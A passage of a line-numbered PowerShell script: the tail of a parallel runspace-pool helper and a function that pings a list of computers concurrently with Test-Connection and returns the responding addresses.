$allObjects.count 491 | $script:completedCount = 0 492 | $startedCount = 0 493 | 494 | foreach($object in $allObjects){ 495 | 496 | #region add scripts to runspace pool 497 | 498 | #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters 499 | $powershell = [powershell]::Create() 500 | 501 | if ($VerbosePreference -eq 'Continue') 502 | { 503 | [void]$PowerShell.AddScript({$VerbosePreference = 'Continue'}) 504 | } 505 | 506 | [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) 507 | 508 | if ($parameter) 509 | { 510 | [void]$PowerShell.AddArgument($parameter) 511 | } 512 | 513 | # $Using support from Boe Prox 514 | if ($UsingVariableData) 515 | { 516 | Foreach($UsingVariable in $UsingVariableData) { 517 | Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" 518 | [void]$PowerShell.AddArgument($UsingVariable.Value) 519 | } 520 | } 521 | 522 | #Add the runspace into the powershell instance 523 | $powershell.RunspacePool = $runspacepool 524 | 525 | #Create a temporary collection for each runspace 526 | $temp = "" | Select-Object PowerShell, StartTime, object, Runspace 527 | $temp.PowerShell = $powershell 528 | $temp.StartTime = Get-Date 529 | $temp.object = $object 530 | 531 | #Save the handle output when calling BeginInvoke() that will be used later to end the runspace 532 | $temp.Runspace = $powershell.BeginInvoke() 533 | $startedCount++ 534 | 535 | #Add the temp tracking info to $runspaces collection 536 | Write-Verbose ( "Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring() ) 537 | $runspaces.Add($temp) | Out-Null 538 | 539 | #loop through existing runspaces one time 540 | Get-RunspaceData 541 | 542 | #If we have more running than max queue (used to control timeout accuracy) 543 | #Script scope resolves odd PowerShell 2 issue 544 | $firstRun = $true 545 | while ($runspaces.count -ge $Script:MaxQueue) { 546 | 547 | #give verbose output 548 | if($firstRun){ 549 | Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." 550 | } 551 | $firstRun = $false 552 | 553 | #run get-runspace data and sleep for a short while 554 | Get-RunspaceData 555 | Start-Sleep -Milliseconds $sleepTimer 556 | } 557 | #endregion add scripts to runspace pool 558 | } 559 | 560 | Write-Verbose ( "Finish processing the remaining runspace jobs: {0}" -f ( @($runspaces | Where {$_.Runspace -ne $Null}).Count) ) 561 | Get-RunspaceData -wait 562 | } 563 | Finally 564 | { 565 | #Close the runspace pool, unless we specified no close on timeout and something timed out 566 | if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false) ) ) { 567 | Write-Verbose "Closing the runspace pool" 568 | $runspacepool.close() 569 | } 570 | #collect garbage 571 | [gc]::Collect() 572 | } 573 | } 574 | } 575 | 576 | Write-Verbose "PSBoundParameters = $($PSBoundParameters | Out-String)" 577 | 578 | $bound = $PSBoundParameters.keys -contains "ComputerName" 579 | if(-not $bound) 580 | { 581 | [System.Collections.ArrayList]$AllComputers = @() 582 | } 583 | } 584 | Process 585 | { 586 | #Handle both pipeline and bound parameter. We don't want to stream objects, defeats purpose of parallelizing work 587 | if($bound) 588 | { 589 | $AllComputers = $ComputerName 590 | } 591 | Else 592 | { 593 | foreach($Computer in $ComputerName) 594 | { 595 | $AllComputers.add($Computer) | Out-Null 596 | } 597 | } 598 | } 599 | End 600 | { 601 | #Built up the parameters and run everything in parallel 602 | $params = @() 603 | $splat = @{ 604 | Throttle = $Throttle 605 | RunspaceTimeout = $Timeout 606 | InputObject = $AllComputers 607 | } 608 | if($NoCloseOnTimeout) 609 | { 610 | $splat.add('NoCloseOnTimeout',$True) 611 | } 612 | 613 | Invoke-Parallel @splat -ScriptBlock { 614 | $computer = $_.trim() 615 | Try 616 | { 617 | #Pick out a few properties, add a status label. If quiet output, just return the address 618 | $result = $null 619 | if( $result = @( Test-Connection -ComputerName $computer -Count 2 -erroraction Stop ) ) 620 | { 621 | $Output = $result | Select -first 1 -Property Address, IPV4Address, IPV6Address, ResponseTime, @{ label = "STATUS"; expression = {"Responding"} } 622 | $Output.address 623 | } 624 | } 625 | Catch 626 | { 627 | } 628 | } 629 | } 630 | } 631 | --------------------------------------------------------------------------------